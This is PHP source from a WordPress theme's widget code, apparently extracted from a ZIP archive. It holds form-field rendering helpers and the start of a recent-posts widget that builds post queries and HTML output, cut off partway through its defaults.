			if ( ! isset( $key['type'] ) ) {
				$key['type'] = 'text';
			}

			$key['type'] = $this->soledad_change_type( $key['type'] );

			/* Prefix method */
			$field_method = 'create_field_' . str_replace( '-', '_', $key['type'] );

			/* Check for <p> Class */
			$p = ( isset( $key['class-p'] ) ) ? '<p class="' . $key['class-p'] . '">' : '<p>';

			/* Run method */
			if ( method_exists( $this, $field_method ) ) {
				return $p . $this->$field_method( $key ) . '</p>';
			}

		}

		private function soledad_change_type( $key ) {
			switch ( $key ) {
				case 'textfield':
					$key = 'text';
					break;
				case 'vc_link':
					$key = 'text';
					break;
				case 'href':
					$key = 'text';
					break;
				case 'textarea_html':
					$key = 'textarea';
					break;
				case 'penci_switch':
					$key = 'dropdown';
					break;
				case 'penci_button_set':
					$key = 'dropdown';
					break;
				case 'penci_slider':
					$key = 'dropdown';
					break;
				case 'penci_image_select':
					$key = 'dropdown';
					break;
			}

			return $key;
		}

		/**
		 * select2 field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select2( $key, $out = "" ) {
			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			if ( ! is_array( $value ) ) {
				$value = explode( ',', $value );
			}

			ob_start();

			?>
			<?php echo $this->create_field_label( $key['name'], $key['_id'] ); ?>
            <select name="<?php echo esc_attr( $key['_name'] ); ?>[]" id="<?php echo esc_attr( $key['_id'] ); ?>"
                    class="penci-select penci-select2" multiple>
				<?php foreach ( $key['fields'] as $field => $option ) : ?>
					<?php
					$selected = false;

					if ( is_array( $value ) && in_array( $option, $value, false ) ) {
						$selected = true;
					}

					?>

                    <option value="<?php echo esc_attr( $option ); ?>" <?php selected( true, $selected ); ?>>
						<?php echo esc_html( $field ); ?>
                    </option>
				<?php endforeach; ?>
            </select>
			<?php

			return ob_get_clean();
		}


		/**
		 * dropdown field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_dropdown( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" data-value="' . esc_attr( $selected ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			foreach ( $key['fields'] as $field => $option ) {

				$out .= '<option value="' . esc_attr( $option ) . '" ';

				if ( esc_attr( $selected ) == $option ) {
					$out .= ' selected="selected" ';
				}

				$out .= '> ' . esc_html( $field ) . '</option>';

			}

			$out .= ' </select> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}

		/**
		 * attach image field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_attach_image( $key, $out = "" ) {

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$url = $style = '';

			if ( isset( $value ) ) {
				$url = wp_get_attachment_url( $value );
			}

			if ( $url == '' ) {
				$style = 'display:none;';
			}

			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<img src="' . $url . '" class="penci-image-src" style="' . $style . '" />';

			$out .= '<input type="hidden" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="penci-image-upload ' . esc_attr( $key['class'] ) . '" ';
			}


			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			$out .= '<button class="button penci-image-upload-btn">' . __( 'Upload image', 'penci' ) . '</button>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}

		/**
		 * Attach images field
		 *
		 * @access   private
		 *
		 * @param string
		 * @param array
		 *
		 * @return   string
		 * @since    1.5
		 *
		 */
		function create_field_attach_images( $key, $out = '' ) {
			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$ids = explode( ',', $value );

			ob_start();

			?>
            <div class="penci-upload_list-control">
                <h4>
					<?php echo $this->create_field_label( $key['name'], $key['_id'] ); ?>
                </h4>

                <div class="penci-upload-preview">
					<?php foreach ( $ids as $id ) : ?>
						<?php if ( $id ) : ?>
                            <div data-attachment_id="<?php echo esc_attr( $id ); ?>">
								<?php echo wp_get_attachment_image( $id, 'thumbnail' ); // phpcs:ignore ?>
                                <a href="#" class="penci-remove">
                                    <span class="dashicons dashicons-dismiss"></span>
                                </a>
                            </div>
						<?php endif; ?>
					<?php endforeach; ?>
                </div>

                <div class="penci-upload-btns">
                    <button class="penci-btn penci-upload-btn">
						<?php esc_html_e( 'Upload', 'penci' ); ?>
                    </button>

                    <button class="penci-btn penci-btn-remove penci-btn-disable">
						<?php esc_html_e( 'Clear all', 'penci' ); ?>
                    </button>

                    <input type="hidden" class="penci-upload-input-id" name="<?php echo esc_attr( $key['_name'] ); ?>"
                           value="<?php echo esc_attr( $value ); ?>"/>
                </div>

				<?php if ( isset( $key['desc'] ) ) : ?>
                    <small class="description">
						<?php echo esc_html( $key['desc'] ); ?>
                    </small>
				<?php endif; ?>
            </div>
			<?php

			return ob_get_clean();
		}


		/**
		 * Field Text
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_text( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<input type="text" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Textarea
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_textarea( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<textarea ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			if ( isset( $key['rows'] ) ) {
				$out .= 'rows="' . esc_attr( $key['rows'] ) . '" ';
			}

			if ( isset( $key['cols'] ) ) {
				$out .= 'cols="' . esc_attr( $key['cols'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '">' . esc_html( $value );

			$out .= '</textarea>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Checkbox
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_checkbox( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] );

			$out .= ' <input type="checkbox" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="1" ';

			if ( ( isset( $key['value'] ) && $key['value'] == 1 ) or ( ! isset( $key['value'] ) && $key['std'] == 1 ) ) {
				$out .= ' checked="checked" ';
			}

			$out .= ' /> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Select
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			foreach ( $key['fields'] as $field => $option ) {

				$out .= '<option value="' . esc_attr( $option['value'] ) . '" ';

				if ( esc_attr( $selected ) == $option['value'] ) {
					$out .= ' selected="selected" ';
				}

				$out .= '> ' . esc_html( $option['name'] ) . '</option>';

			}

			$out .= ' </select> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Select with Options Group
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select_group( $key, $out = "" ) {

			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			foreach ( $key['fields'] as $group => $fields ) {

				$out .= '<optgroup label="' . $group . '">';

				foreach ( $fields as $field => $option ) {
					$out .= '<option value="' . esc_attr( $option['value'] ) . '" ';

					if ( esc_attr( $selected ) == $option['value'] ) {
						$out .= ' selected="selected" ';
					}

					$out .= '> ' . esc_html( $option['name'] ) . '</option>';
				}

				$out .= '</optgroup>';

			}

			$out .= '</select>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Number
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_number( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<input type="number" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Label
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_label( $name = "", $id = "" ) {
			return '<label for="' . esc_attr( $id ) . '">' . esc_html( $name ) . ':</label>';
		}

	} // class
}
PK     N\2|/o  o  #  inc/widgets/lastest_post_widget.phpnu [        <?php
/**
 * Lastest post widget
 * Get recent posts and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_latest_news_load_widget' );

function penci_latest_news_load_widget() {
	register_widget( 'penci_latest_news_widget' );
}

if ( ! class_exists( 'penci_latest_news_widget' ) ) {
	class penci_latest_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_latest_news_widget',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_latest_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_latest_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Recent Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_latest_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Recent Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );
			wp_enqueue_script( 'penci_widgets_ajax' );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
			$metakey 	  = isset( $instance['metakey'] ) ? $instance['metakey'] : '';

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					$term_name = get_cat_name( $categories );
					$term      = term_exists( $term_name, 'category' );

					if ( $term !== 0 && $term !== null ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $orderby ) {
				$query['orderby'] = $orderby;

				if ( 'metakey' == $orderby && $metakey ) {
					$query['orderby'] = 'meta_value_num';
					$query['meta_key'] = $metakey;
				}
			}
			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand          = rand( 1000, 10000 );
				$data_settings = $instance;
				unset( $data_settings['title'] );


				?>
                <ul <?php if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) { ?>data-settings='<?php echo json_encode( $data_settings ); ?>'
                    data-paged="1"
                    data-action="penci_latest_news_widget_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
					<?php } ?>
                    id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
                    class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						if ( $featured ) {
							echo ' penci-2columns-featured';
						} else {
							echo ' penci-2columns-feed';
						} endif;
					if ( $showborder ) {
						echo ' penci-rcpw-hborders';
					}
					if ( $dotstyle ) {
						echo ' pctlst pctl-' . $dotstyle;
					} ?>">
					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>
                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {

											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>
						<?php $num ++; endwhile; ?>
                </ul>
				<?php

				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				$attrstyle = '';
				if ( $ptfsfe ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
				}
				if ( $ptfs ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
				}
				if ( $pmfs ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
				}
				if ( $imgwidth ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . ' li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
				}
				if ( $row_gap ) {
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . '.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
					$attrstyle .= '.widget ul#penci-latestwg-' . $rand . '.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
				}
				if ( $image_type == 'horizontal' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
				} elseif ( $image_type == 'square' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 100%; }';
				} elseif ( $image_type == 'vertical' ) {
					$attrstyle .= '#penci-latestwg-' . $rand . ' .penci-image-holder:before{ padding-top: 135.4%; }';
				}

				if ( $attrstyle ) {
					echo '<style type="text/css">' . $attrstyle . '</style>';
				}

				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );

				wp_reset_postdata();
			endif;
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Recent Posts', 'soledad' ),
				'hide_thumb'     => false,
				'movemeta'       => false,
				'ptype'          => '',
				'taxonomy'       => '',
				'tax_ids'        => '',
				'dotstyle'       => '',
				'sticky'         => true,
				'show_author'    => false,
				'show_comment'   => false,
				'show_postviews' => false,
				'ordernum'       => false,
